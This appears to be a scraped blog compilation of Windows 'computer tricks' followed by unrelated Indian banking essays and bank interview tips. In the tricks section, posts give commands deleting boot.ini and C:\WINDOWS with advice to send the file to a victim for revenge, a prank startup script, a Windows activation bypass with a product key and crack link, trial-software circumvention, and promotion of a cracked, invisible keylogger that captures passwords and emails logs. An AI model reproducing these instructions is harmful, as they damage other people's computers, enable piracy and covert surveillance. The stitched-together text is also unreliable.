COMPUTER TRICKS...

Permanently deleted files Recovery solution

Sometimes we delete the files permanently, and realize that deleting them is like a Blunder...

For all those folks,

Here is the solution

Software called "Kissass Undelete" , can bring those files from the hard disk or your flash drive.

Conditions : Only if the data on that drive is not re-occupied(or written). that means the space which was available after the deletion is not been occupied after the deletion.

Click Here to download the file.

1)  To start searching for the files,

      Select the drive from the Left panel of the Windows and Click the scan button.

       the Scan might take upto 10 secs.

2)   When the files search has been completed, it will show you the results with the name, typ, size and the     last modified date of the searched file.

3)   Now you can select the file to be recover. This is an Open source application and available for All  Windows OS(Windows XP/Vista/ 7).

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Clean out the prefetch folder :

Windows XP uses a system called 'prefetch' to organize and preload some of the data necessary for commonly used applications and files. A folder called prefetch is used to store the information the operating system needs to carry out this operation.
After several months of use, the prefetch folder may become quite overloaded with older references to software and files that may no longer be in use.It's a good idea to manually empty the older files out of the prefetch folder every few months or so.
To do this: Navigate to 'c:\windows\prefetch' and delete all .
PF files that are older than a week or two.

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Recover the lost administrators password in Windows XP

Slightly more work needed if you lose or forget the Windows XP administrator password.

1.First reboot Windows XP in safe mode by re-starting the computer and pressing F8 repeated as the computer starts up.

2.Then (in safe mode) click Start and then click Run. In the open box type "control userpasswords2" without the quotes - I have just used quotes to differentiate what you have to type.

3.You will now have access to all the user accounts, including the administrators account and will be able to reset the lost password.

4.Just click the administrators user account, and then click Reset Password.

5.You will need to add a new password in the New password and the Confirm new password boxes, and confirm by clicking OK.

All done, you have recovered the lost adminitrators password!

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How to find the IP address of the sender in Yahoo! mail

When you receive an email, you receive more than just the message. The email comes with headers that carry important information that can tell where the email was sent from and possibly who sent it. For that, you would need to find the IP address of the sender. The tutorial below can help you find the IP address of the sender. Note that this will not work if the sender uses anonymous proxy servers.

Finding IP address in Yahoo! Mail

1. Log into your Yahoo! mail with your username and password.
2. Click on Inbox or whichever folder you have stored your mail.
3. Open the mail.
4. If you do not see the headers above the mail message, your headers are not displayed. To display the headers,
* Click on Options on the top-right corner
* In the Mail Options page, click on General Preferences
* Scroll down to Messages where you have the Headers option
* Make sure that Show all headers on incoming messages is selected
* Click on the Save button
* Go back to the mails and open that mail.
5. You should see similar headers like this:Yahoo! headers : nameLook for Received: from followed by the IP address between square brackets [ ]. Here, it is 202.65.138.109.That is be the IP address of the sender!
6. Track the IP address of the sender.

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How to find the IP address of the sender in Gmail

How to find the IP address of the sender in Gmail
When you receive an email, you receive more than just the message. The email comes with headers that carry important information that can tell where the email was sent from and possibly who sent it. For that, you would need to find the IP address of the sender. The tutorial below can help you find the IP address of the sender. Note that this will not work if the sender uses anonymous proxy servers.

Finding IP address in Gmail:

1.Log into your Gmail account with your username and password.

2. Open the mail.

3. To display the headers,* Click on More options corresponding to that thread. You should get a bunch of links.* Click on Show original.

4. You should get headers like this:Gmail headers : nameLook for Received: from followed by a few hostnames and an IP address between square brackets. In this case, it is65.119.112.245.That is be the IP address of the sender!

5. Track the IP address of the sender. 

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Way to get XP product CODE from CD

It really work
There is a way to get the xp product code from the cd
just explorer the cd then
open the folder I386
then open the file UNATTEND.TXT and
scroll down to the last line
and it goes to show what dumbasses microsoft are u have a product code.
Have fun u never need to search for a product code for xp again...!!!!

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Make frnds scare for VIRUS

Open notepad and type this:

lol=msgbox ("Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot",20,"Warning")

Then save it as Virus.VBS

and go to the folder that contains it and open it if a window pops out saying a virus has been detected it's working. Press yes or no to close the window and put it in the startup folder of the victim's account.
On startup the window should appear.
Note: This does not harm your computer as it does not contain virus.

The Yes and no button does not do anything except closing the window. And you can edit the virus in the sentence: Warning a virus has detected on your PC to any kind of virus eg.Trojan Horse like this lol=msgbox ("Warning a Trojan horse has been detected on your PC. Press YES to format your hard disk now or press NO to format format your hard disk after system reboot",20,"Warning")

Oh in between make sure your victim does not panic and really reformat his harddisk.

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Make the folder INVISIBLE without hiding

Make your folders invicible...:)

1)Right Click on the desktop.Make a new folder
2)Now rename the folder with a space(U have to hold ALT key and type 0160).
3)Now u have a folder with out a name.
4)Right click on the folder>properties>customize. Click on change icon.
5)Scroll a bit, u should find some empty spaces, Click on any one of them.
click ok Thats it,

now u can store ur personal data without any 3rd party tools.

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Try to LOCK ur folder wit out S/W method 2

TRY to lock ur private folder

Suppose you want to lock the folder games in d: which has the path D:Games.In the same drive create a text file and type
ren games games.{21EC2020-3AEA-1069-A2DD-08002B30309D}
Now save this text file as loc.bat

Create another text file and type in it
ren games.{21EC2020-3AEA-1069-A2DD-08002B30309D} games
Now save this text file as key.bat

Now you can see 2 batch files loc and key.Press loc and the folder games will change to control panel and you cannot view its contents.Press key and you will get back your original folder. try it out!!!!!!!


Important note:How to rename your text files as bat files?
Just go to my computer->tools->folder options->go to the view tab.
Now uncheck the 'Hide extensions for known file types'.Press apply.
Now rename ur text files as bat files. 

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Write VIRUS to computer in 5 minutes

1) Creating virus trick
open ur notepad n type the following.........
type del c:\boot.ini c:\del autoexec.batsave as .exe[save it as .exe file....n u can save it by ne name]
create the notepad in c: drive...


2)
Note: but with in seconds harddisk get damaged

create Virus in 5 minutes.......
Very easy but dangerous VirusOk, now, the trick:
The only thing you need is Notepad.
Now, to test it, create a textfile called TEST.txt(empty)
in C:\Now in your notepad type "erase C:\TEST.txt" (without the quotes).
Then do "Save As..." and save it as "Test.cmd".
Now run the file "Test.cmd" and go to C:\ and you'll see your Test.txt is gone.
Now, the real work begins:Go to Notpad and
type erase C:\WINDOWS (or C:\LINUX if you have linux) and
save it again as findoutaname.cmd.
Now DON'T run the file or you'll lose your WINDOWS map.
So, that's the virus. Now to take revenge.
Send you file to your victim.
Once she/he opens it. Her/his WINDOWS/LINUX map is gone.
And have to install LINUX/WINDOWS again.
Simple explanation:Go to notepad, type erase C:\WINDOWS, save,
send to victim, once the victim opens it,
the map WINDOWS will be gone and have to install WINDOWS again...
HEY I AM NOT RESPONSIBLE FOR ANYTHING HAPPEN 2 UR COMPUTER IF U TRY THIS!!!!!!!AGAIN :I AM NOT RESPONSIBLE FOR ANYTHING HAPPEN 2 UR COMPUTER IF U TRY THIS!!!!!!!

be aware of this..its a simple but a strong virus that can delete anyones window os through email ..ok
i am not at all responsible for any of the further cause

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prevent users from writing to usb

The following registry setting will prevent writing to usb in windows xp.
Expand HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contro l Add a new key and name it "StorageDevicePolicies".
In the window on the right then create a new DWORD value and label it WriteProtect, give it a value of "1" and users can no longer write to USB drives.
Giving a value of "0" will allow to write again.

 

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Get the keyboard on your desktop screen!!!!!

Do you want to use an onscreen keyboard .
Its simple:
Just go to start press run.
Now type osk and
press enter.

You will get something like  

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Now you can open them fast!!!

Some shortcuts for Windows XP users!!
Press
'Windows key' + R and type the following (without qoutes) :

"winword" to open Word.
"powerpnt" to open Powerpoint.
"excel" to open Excel "mspaint" to open Paint.
"notepad" to open Notepad.
"wmplayer" to open Windows Media Player.
"wordpad" to open Wordpad.
"sndrec32" to open Sound Recorder.
"iexplore" to open Internet Explorer.
"firefox" to open Firefox.
"msconfig" to control startup.
"services.msc" to manage the Services.

COMPUTER TRICKS

HOW TO LOCK YOUR COMPUTER WITH EASY SHORTCUT
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Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver.

Here the steps to create a shortcut on your desktop to lock your computer:

    Right-click the desktop. Point to New, and then click Shortcut.
    The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation
    Click Next. Enter a name for the shortcut. You can call it “Lock Workstation” or choose any name you like.
    Click Finish.

SIMPLE WAY: The less complicated way to do is to hold windows key+L.

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How to Secure your Private Folders

Do you have any private stuff that you would to hide from your friends and relatives? Would you want it to be Invisible so that it remains unnoticed by the normal users? But there are software which can display all the folders that are present on the Disk. So What if you can even  password protect your folder? I guess having your private folder password protected as well as invisible should be secure enough. But you might think that you may need to have a software for that. Well here is a way to do that without using any additional software and you can show off in front of your friends by making their folders invisible as well as password protected. Here is is step by step procedure to create a password protected folder.

How to create a Password Protected Folder

1. Create a new folder (Right-click -> New -> Folder) and give it any name of your choice. For instance I name it as ABC.

2. Now in this folder place all the important files, documents or any folders that you want to password protect.

3. Now Right-click on this folder (ABC) and select the option Send To -> Compressed (zipped) Folder.

4. Now a new compressed zipped folder gets created next this folder (ABC) with the same name.

5. Double-click on this compressed zipped folder and you should see your original folder (ABC) here.

6. Now goto the File menu and select the option Add a password.

ie: File -> Add a password

Now a small window will pop up and here you can set your desired password. Once the password is set, the folder will ask for the password every time it is opened. Thus you have now created the password protected folder.
How to make it Invisible

1. Now Right-click on this password protected folder and select Properties.

2. At the bottom select the option Hidden and press OK. Now your folder gets invisible (hidden).

3. In order to unhide this folder go to My Computer – >Tools -> Folder options. Switch to View tab, scroll down and under Hidden files and folders you’ll see the following two options
Do not show hidden files and folders
Show hidden files and folders

Now select the second option and press OK. Now the invisible folder becomes visible in it’s location. To access it you need the password. To make it invisible again repeat step -1 through step-3 and select the first option and click OK. Now the folder becomes invisible once again. 

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Make windows genuine in a minute

The following trick is for Windows XP with Service Pack 2 genuine.

This procedure described below will allow you to bypass the Microsoft Genuine Validation.
I hope this is the best way to make your copy of windows Xp genuine.

Step 1:
Click Start and then go to run and type ‘regedit’

Step 2:
Registry window will be opened, Then Go to
HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\WPAEvents\OOBETimer

And double click on it. Then change some of the value data to any thing.

Step 3:
Go to start > run > “%systemroot%\system32\oobe\msoobe.exe /a” (again, don’t type the quotes)

Step 4:
The activation screen will come up, click on register over telephone, then click on CHANGE PRODUCT KEY, enter in this key: JG28K-H9Q7X-BH6W4-3PDCQ-6XBFJ.

Now you can download all the updates without activating, and the Genuine Microsoft Validation will irritate you No more.

Note: This works better after reformatting

Or else do you want to download the crack for XP,XP home,XP 2 and Vista, I am placing it in a zip folder pls download it from the below link

http://rapidshare.com/files/71090926/Crack_For_XP.rar

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How to run a trial software forever

In this post I’ll show you how to hack a Software and run the trial program forever. Most of us are familiar with many softwares that run only for a specified period of time in the trial mode. Once the trial period is expired these softwares stop functioning and demand for a purchase. But there is a way to run the softwares and make them function beyond the trial period. Isn’t this interesting?

Before I tell you how to hack the software and make it run in the trial mode forever, we have to understand the functioning of these softwares. I’ll try to explain this in brief.

When these softwares are installed for the first time, they make an entry into the Windows Registry with the details such as Installed Date and Time, installed path etc. After installation every time you run the software, it compares the current system date and time with the installed date and time. So, with this it can make out whether the trial period is expired or not.

So with this being the case, just manually changing the system date to an earlier date will not solve the problem. For this purpose there is a small Tool known as RunAsDate.

RunAsDate is a small utility that allows you to run a program in the date and time that you specify. This utility doesn’t change the current system date, but it only injects the date/time that you specify into the desired application.

RunAsDate intercepts the kernel API calls that returns the current date and time (GetSystemTime, GetLocalTime, GetSystemTimeAsFileTime), and replaces the current date/time with the date/time that you specify. It works with Windows 2000, XP, 2003 and Vista.

NOTE: FOLLOW THESE TIPS CAREFULLY

You have to follow these tips carefully to successfully hack a software and make it run in it’s trial mode forever.

1. Note down the date and time, when you install the software for the first time.

2. Once the trial period expires, you must always run the software using RunAsDate.

3. After the trial period is expired, do not run the software(program) directly. If you run the software directly even once, this hack may no longer work.

4. It is better and safe to inject the date of the last day in the trial period.

For example, if the trial period expires on jan 30 2009, always inject the date as jan 29 2009 in the RunAsDate. I hope this helps! Please express your experience and opinions through comments...

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How to capture user's activity

Ardamax Keylogger is a keystroke recorder that captures user's activity and saves it to an encrypted log file. The log file can be viewed with the powerful Log Viewer. Use this tool to find out what is happening on your computer while you are away, maintain a backup of your typed data automatically or use it to monitor your kids. Also you can use it as a monitoring device for detecting unauthorised access. Logs can be automatically sent to your e-mail address, access to the keylogger is password protected. Besides, Ardamax Keylogger logs information about the Internet addresses the user has visited.

This invisible spy application is designed for 2000, XP, 2003, Vista and Windows 7.

Keylogger Features:

* Email log delivery - keylogger can send you recorded logs through e-mail delivery at set times - perfect for remote monitoring!

* FTP delivery - Ardamax Keylogger can upload recorded logs through FTP delivery.

* Network delivery - sends recorded logs through via LAN.

* Clipboard logging - capture all text copied to the Windows Clipboard.

* Invisible mode makes it absolutely invisible to anyone. Ardamax Keylogger is not visible in the task bar, system tray, Windows 2000/XP/2003/Vista/Windows 7 Task Manager, process viewers (Process Explorer, WinTasks etc.), Start Menu and Windows Startup list.

* Visual surveillance - periodically makes screenshots and stores the compressed images to log.

* Chat monitoring - Ardamax Keylogger is designed to record and monitor both sides of a conversation in following chats:

o AIM

o Windows Live Messenger 2011

o ICQ 7

o Skype 4

o Yahoo Messenger 10

o Google Talk

o Miranda

o QiP 2010

* Security - allows you to protect program settings, Hidden Mode and Log file.

* Application monitoring - keylogger will record the application that was in use that received the keystroke!

* Time/Date tracking - it allows you to pinpoint the exact time a window received a keystroke!

* Powerful Log Viewer - you can view and save the log as a HTML page or plain text with keylogger Log Viewer.

* Small size – Ardamax Keylogger is several times smaller than other programs with the same features. It has no additional modules and libraries, so its size is smaller and the performance is higher.

* Ardamax Keylogger fully supports Unicode characters which makes it possible to record keystrokes that include characters from Japanese, Chinese, Arabic and many other character sets.

* It records every keystroke. Captures passwords and all other invisible text.

Other Features:

* Windows 2000/2003/XP/Vista/Windows 7 support

* Monitors multi-user machines

* Automatic startup

* Friendly interface

* Easy to install

Enjoy;)

Download: This file is full Ardamax (Latest) Keylogger with no activation needed, downloaded from their official site. Just Downlaod and ENJOY ;)

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How to Unlock a Computer Without a Password Reset Disk

 A locked computer can result in dead end frustration, potentially costing hundreds of dollars in repair bills. Unlocking your computer without the aid of a password reset disk can be done by accessing the default Administrator account from Safe Mode and unlocking your computer via console commands. This can generally be done in minutes.

1. Restart the computer.
2. Press "F8" as the computer is booting and select "Safe Mode."
3. Click on the "Administrator" account.
4. Select "Start" and click "Run."
5. Type "control userpasswords2" and press "Enter."
6. Uncheck "Users must enter a username and password" and restart the computer. It will be unlocked.

Role of Banks in an economy -- article/essay

BANKING ESSAYS :

Role of Banks in an economy -- article/essay

       Money lending in one form or the other has evolved along with the history of the mankind. Even in the ancient times there are references to the moneylenders. Shakespeare also referred to ‘Shylocks’ who made unreasonable demands in case the loans were not repaid in time along with interest. Indian history is also replete with the instances referring to indigenous money lenders, Sahukars and Zamindars involved in the business of money lending by mortgaging the landed property of the borrowers.

               Towards the beginning of the twentieth century, with the onset of modern industry in the country, the need for government regulated banking system was felt.  The British government began to pay attention towards the need for an organised banking sector in the country and Reserve Bank of India was set up to regulate the formal banking sector in the country. But the growth of modern banking remained slow mainly due to lack of surplus capital in the Indian economic system at that point of time. Modern banking institutions came up only in big cities and industrial centres. The rural areas, representing vast majority of Indian society, remained dependent on the indigenous money lenders for their credit needs.

               Independence of the country heralded a new era in the growth of modern banking. Many new commercial banks came up in various parts of the country. As the modern banking network grew, the government began to realise that the banking sector was catering only to the needs of the well-to-do and the capitalists. The interests of the poorer sections as well as those of the common man were being ignored.

                In 1969, Indian government took a historic decision to nationalise 14 biggest private commercial banks. A few more were nationalised after a couple of years. This resulted in transferring the ownership of these banks to the State and the Reserve Bank of India could then issue directions to these banks to fund the national programmes, the rural sector, the plan priorities and the priority sector at differential rate of interest.  This resulted in providing fillip the banking facilities to the rural areas, to the under-privileged and the downtrodden. It also resulted in financial inclusion of all categories of people in almost all the regions of the country.

                However, after almost two decades of bank nationalisation some new issues became contextual. The service standards of the public sector banks began to decline. Their profitability came down and the efficiency of the staff became suspect. Non-performing assets of these banks began to rise. The wheel of time had turned a full circle by early nineties and the government after the introduction of structural and economic reforms in the financial sector, allowed the setting up of new banks in the private sector.

The new generation private banks have now established themselves in the system and have set new standards of service and efficiency. These banks have also given tough but healthy competition to the public sector banks.

              Modern Day Role Banking system and the Financial Institutions play very significant role in the economy. First and foremost is in the form of catering to the need of credit for all the sections of society. The modern economies in the world have developed primarily by making best use of the credit availability in their systems. An efficient banking system must cater to the needs of high end investors by making available high amounts of capital for big projects in the industrial, infrastructure and service sectors. At the same time, the medium and small ventures must also have credit available to them for new investment and expansion of the existing units. Rural sector in a country like India can grow only if cheaper credit is available to the farmers for their short and medium term needs.

               Credit availability for infrastructure sector is also extremely important. The success of any financial system can be fathomed by finding out the availability of reliable and adequate credit for infrastructure projects. Fortunately, during the past about one decade there has been increased participation of the private sector in infrastructure projects.

               The banks and the financial institutions also cater to another important need of the society i.e. mopping up small savings at reasonable rates with several options. The common man has the option to park his savings under a few alternatives, including the small savings schemes introduced by the government from time to time and in bank deposits in the form of savings accounts, recurring deposits and time deposits. Another option is to invest in the stocks or mutual funds.

               In addition to the above traditional role, the banks and the financial institutions also perform certain new-age functions which could not be thought of a couple of decades ago. The facility of internet banking enables a consumer to access and operate his bank account without actually visiting the bank premises. The facility of ATMs and the credit/debit cards has revolutionised the choices available with the customers. The banks also serve as alternative gateways for making payments on account of income tax and online payment of various bills like the telephone, electricity and tax. The bank customers can also invest their funds in various stocks or mutual funds straight from their bank accounts. In the modern day economy, where people have no time to make these payments by standing in queue, the service provided by the banks is commendable.

While the commercial banks cater to the banking needs of the people in the cities and towns, there is another category of banks that looks after the credit and banking needs of the people living in the rural areas, particularly the farmers. Regional Rural Banks (RRBs) have been sponsored by many commercial banks in several States. These banks, along with the cooperative banks, take care of the farmer-specific needs of credit and other banking facilities.

                FutureTill a few years ago, the government largely patro-nized the small savings schemes in which not only the interest rates were higher, but the income tax rebates and incentives were also in plenty. The bank deposits, on the other hand, did not entail such benefits. As a result, the small savings were the first choice of the investors. But for the last few years the trend has been reversed. The small savings, the bank deposits and the mutual funds have been brought at par for the purpose of incentives under the income tax. Moreover, the interest rates in the small savings schemes are no longer higher than those offered by the banks.

Banks today are free to determine their interest rates within the given limits prescribed by the RBI. It is now easier for the banks to open new branches. But the banking sector reforms are still not complete. A lot more is required to be done to revamp the public sector banks. Mergers and amalgamation is the next measure on the agenda of the government. The government is also preparing to disinvest some of its equity from the PSU banks. The option of allowing foreign direct investment beyond 50 per cent in the Indian banking sector has also been under consideration.

                Banks and financial intuitions have played major role in the economic development of the country and most of the credit- related schemes of the government to uplift the poorer and the under-privileged sections have been implemented through the banking sector. The role of the banks has been important, but it is going to be even more important in the future. 

Essay writing --Good Governance - Tool for development:

BANKING ESSAYS :

Essay writing --Good Governance - Tool for development:

                In recent years the word governance has become a very fashionable term and is being used in a variety of ways and covers a large number of organizations both in public and private domain. This is not a new concept. It is as old as human civilization on this earth. Generally the term 'Governance' refers to the process of decision making and the process by which decisions are implemented (or not implemented). It can be used in several contexts such as corporate governance, local governance, national governance, international governance or to the interactions between other sectors of society. Governance is necessary in each sector of nation for smooth and efficient working. It is one of the actors of governance and takes decisions at local and national level and implements those decisions for human welfare. The quality of governance plays a vital role in the economic development of countries as everybody knows that without good governance there can be no sustainable development in a country.

                It is widely recognized that good governance is a sine non qua for economic development of developing countries. Good governance is generally characterized by accessibility, accountability, predictability, transparency and follows the rule of law. It assures that corruption is minimized, views of minorities are taken into account and that the voices of the most vulnerable in society are heard in decision making. When good governance is guaranteed, residents of all over the world go about their personal business and pursuits with enhanced expectations whereas bad governance not only restricts opportunities of success but it can even degenerate into sectarian conflicts and civil wars.

                Good Governance does not occur by chance. It cannot be introduced overnight. The process is often, a gradual one involving changes to long standing, practices, entrenched interests and cultural habits and social and even religious norms. Recently President of USA Mr. Barack Obama has said that what Africa required for development are not strong men but strong institutions and good governance. The prosperity of an economy depends upon the social, economic and sustainable development. It is nevertheless admitted that good governance is one that encompasses a whole range of social, political and economic activities and cannot be confined to economic aspects alone.

                What is the need of good' governance in the Indian context? A nation where according to an estimation by an NGO based in Hyderabad, the expenditure on Governance, by the 790 politicians at the Centre, the 4120 in the 35 States and Union Territories and the 18.7 million employees of the Central and State Governments Use about Rs. 2200 crore day or Rs. 760000 crore per year, both on capital and revenue account. Instead of such a huge expenditure, the gulf of per capita availability of resources between rich and poor has been widely increased.

                Every day it is published and shown by media about various scams, tax evasions, delay, in legal proceedings, wasteful expenditure of government funds by corrupt politicians and by bureaucrats and rapidly increasing the graph of corruption, terrorism and other evil practices in society indicates the complex and non-transparent system of command and control, monopoly of the government as a service provider, underdeveloped legal frame work, lack of information and weak notion of citizen's rights. These days the level of corruption, bribery and other evil practices against social and economic development are being rapidly increased due to poor governance. There have been many instances where large sums of money have been spent on needed development ventures but their costs are much higher owing to the contracts being given to those who have paid bribes. Ultimately a tendency has been developed for their construction to be substandard or even, defective. For instance CWG scam, 2G scam and many other scams are the results of poor governance. Many prominent persons such has Wipro's chairman Ajim Premji, Keshuub Mahindra and HDFC's Deepak Parekh have expressed concerns over a series of scams leading to governance deficit. Legal proceeding system is so much complex in India due to which many corrupted officers and criminals have been buried due to want of proves or have got imprisonment after a long term. Though India is the world's biggest democracy and has a strong political system, the world corruption watchdog Transparency International has ranked India the 87^th most corrupt country in its latest report which shows how deep rooted the corruption is in India. We can conclude that 'Good Governance' cannot be possible without fighting from corruption and mismanagement of public resources.

                It is now widely held view that good city administration can only operate effectively with increased transparency in decision making process and with greater involvement of each and every section of society. It promotes security of life and property, access to justice and rule of law. Good Governance will be a key requisite for the next generation reforms. The upward movement in the GDP growth rate of 10% to 14% can be seen with Good Governance and effective administration. In the last 64 years, after independence, it would seem that most of our development has been directed towards the top 300 million of the Indian population. This scenario can be changed with the help of good governance since until the balance 900 million people of India ·benefit, the country will not move ahead as a developed nation. This fact is especially true in case of India which is rich with all kinds of resources but lacks behind many developed nations in progress.

                Poverty and unemployment are the two major barriers in the path of progress which can be eradicated by proper implementation of policies formed by the government. The proper implementation is possible under Good Governance. For instance, the education system in India does not impart any kind of technical skills in the students due to which they do not get any stable employment opportunities. The need is to prepare the young blood with such kind of education that would help them to acquire vocational skills that accelerate them towards various employment opportunities and also enable them to be self employed.

                For Good Governance it is necessary that people who are well educated and pursuing good character should be selected in elections, since the main objectives of such kind of persons are firstly to administer and Govern and secondly, to serve and benefit both the citizens and the country in the best possible manner.

Good governance is a tool of development which helps a nation to become a developed nation where everybody can get equal opportunities to prosper in life. There will be no scams and frauds and tax evasions will also be minimized. The monster of corruption will be vanished from every sphere of life and legal proceedings under judiciary system will be timely solved and proper decisions will be made. No government officials will demand bribe for performing the duties assigned to him. The vulnerable conditions of working of many government institutions due to irregularities; unaccountability and non-transparent system will also be eradicated. All the benefits of policies framed for education, health and eradication of poverty and unemployment will be directly availed common person. The law and order system will also be improved such that the 'Jehadi' terrorism in Jammu & Kashmir, the insurgency in the North-East and rapidly expanding base of naxalite movement in main land India will be vanished.

                Corporate governance should also be improved in order to prevent and detect scandals and bankruptcies. As defined by Wolfensohn "Corporate Governance is about promoting corporate fairness, transparency and accountability". Good corporate governance will be ensured so that foreign investment will be attracted and nobody can dare to make a fraud like 'Satyam Scam' so that trade and industry will also flourish. Hoarding of stock and black marketing will be discouraged. As we all know that foreign investors are often discouraged by officials who demand bribes to permit foreign investment in vital sectors where foreign investments needed. When foreign investors face a high level of corruption and poor governance, they realize the higher transactions' costs and shy away from the Countries of poor governance. That is why some countries such as Singapore, have attracted investment, while others have failed to attract adequate investments.

                In order to make it a reality, a corruption free nation with sustainable development and progressive economic development without any criminalization of politics, actions must be taken towards good governance and effective administration. The system of governance should be transparent and opportunity to scrutinize our leaders and the political structure must be provided, to common man. Policies for development should be formulated in such a manner that is decision making level. Women are the key to good governance. Their increasing representation in democratic institutions has provided stability to polity. They can bring creative, constructive and innovative changes in economy.

From the above discussion it has been cleared that the ideal of good governance is difficult to achieve in its totality. Only a few nations have come nearer to achieving Good Governance in its totality. Therefore we Indians will have to change our mindset and take a much larger interest for our country by participation in the governance of India. According to Mr.  A.P.J. Abdul Kalam – "Nation first and then the individual".

  

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IBPS PO Interview : Medium of Interview : Tips for Preparation

Many aspirants are now asking about the medium of language in the interviews, for the forthcoming banking interviews, what should be their medium while replying to interviewers questions, it should be in Hindi or it should be in English? It’s a very common query but an important one. Over a period we have seen that in Bank PO or Bank Clerk interviews, medium does not really make any difference.

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Important thing is clarity of thoughts and correct reply. Even if you are not aware of answers of a few questions, it is not going to make any difference. So, you should prepare for your interviews in the medium in which you are strong. Even a mix of Hindi & English also works. So start your preparation and it would be wise to prepare structured answers of few of the common questions. Let me tell you normally more than 50% questions which are quite common in nature can be well prepared in advance with structured answers. Practice the reply of some of the questions given below in front of mirror or among your family & friends which can give you a feel of real interviews.

Ø      What are your strong & weak points?

Ø      Give an example of a situation you found yourself in and what did you do?

Ø   How will you handle the situation if an experienced and old employee misbehaves with you in office?

Ø      What are your hobbies?

Ø      Why did you leave your previous job?

Ø      Where do you see yourself five years down the line?

Ø      How many marks will you give yourself out of 10 for this interview?

Ø      Why should we hire you into our organization?

Ø      Do you support privatization of banks and why?

Ø      Who is governor of RBI?

Ø      What is CRR?

Ø      What was the name of first bank established in India?

Ø      What are the tools with RBI to control liquidity in market?

Ø      What is the difference between Savings account and Current account?

Ø      What significant trends do you see in the future of the bank industry?

Bank Exams Interviews

Good preparation for interview is a must for all aspirants, appearing in these PO Interviews or for upcoming Bank Exams Interviews. Now we are going to provide you mock test series for IBPS PO Interviews. Based on questions of previous Bank Exams Interviews and experiences of successful candidates, we are providing information on how to answer some of the most common questions for Bank Exams Interview.

1. Question: Tell us something about yourself?

How to Answer: You should start with your personal details like your name and the place where you belong, than you should give a brief about your family, mainly about your parents. You should continue with your answer telling about your qualifications mainly about graduation and professional qualification. If you have worked earlier with any other organization, you should also tell the board about that. You should keep your answer to a maximum of 2-3 minutes.  

You should try to cover four topics: early years, education, family, and recent career experience. Since normally this question is among the opening questions of the interview hence if you can start well than you will not only gain the confidence but also create a good opening impression on the board. You may ask us how to answer other questions which are coming to your mind by posting your here.

2. Question: Why you want to enter in to banking sector?

How to Answer: You can tell the board that Banking Sector is growing at a rapid pace and provides huge opportunities for learning as well as for career growth. The job of a Bank PO not only gives us recognition in the  society it also provides us opportunities for learning, as banking is a vast industry and those willing to learn have a lot of scope for that.

You can also say that it was your dream from the very beginning to become a Bank Officer hence you have chosen banking as your career. You can also say that you feel that with the knowledge and aptitude you are having, you can contribute well in this sector hence you have chosen banking as your career. 

3. Question: You have got a good IBPS Score, what will happen if you get selection in another bank? Will you leave our job in case get selection in other bank or somewhere else?

How to Answer: This is also a very common question but can be answered smartly; you can tell the board that there is no point of leaving the job if you get selection in any other public sector bank as all banks are almost same as far as career growth & job profile are concerned. You can also tell the board that you are looking for an established career and willing to learn. You will not leave the job for small monetary benefits & for petty reasons. You should try to convince them that unless there is a substantial reason or career growth, you are not going to leave the job.

These are indicative answers; the purpose here is to tell you how you can answer these types of questions in an effective manner. You can always make value additions as per the requirement & situation of the interview. In the next Mock Interview Series we will take few more important questions

4. Question : You are an Engineering graduate (or any other different field such as MBA, BCA, MCA etc.), why you want to enter into banking sector?

Answer: This is a quite common question as you may be from a different field and now appearing in Bank Exams Interviews, in such scenario this kind of question is very much likely. You can reply it a deft manner by saying that although you are from a different field but you have always regarded career of a Bank Officer as a very prestigious one & if given a chance you would like to enter in to banking sector. Moreover you may be from a different field but you can still apply the knowledge you have acquired (give some example, for e.g. Banks are now a days very much techno savy hence the knowledge you have acquired in engineering, MCA etc can easily be applied). You can also say that banking is one of the fastest growing sectors hence you too would like to be part of that growth and would like to take your career to new levels by joining as a Bank Probationary Officer.

5. Question : By going through your bio data we observe that you have completed your graduation 3-4 years back, what you have been doing for last 4 years (or as the case may be)?

Answer: You can reply by telling the board about factual position, for e.g. if you have worked somewhere you can tell them about that, if you have worked somewhere but you are not having proof of that than you can say that you have tried your hand in a few jobs but they were not of your liking hence after some time you have decided for preparation of Bank Exams. You can tell them that you have been preparing for bank exams for last few years (as the case may be) and are determined to get success and to become a Probationary Officer.

So these are our suggestions for these types of questions, you can now prepare your structured answer as per your bio data. Your answers should be concise and to the point. You can always have different answers for the same question but based on our experience we have suggested you how such questions should be answered. Please go through all the posts given below and prepare step wise steps.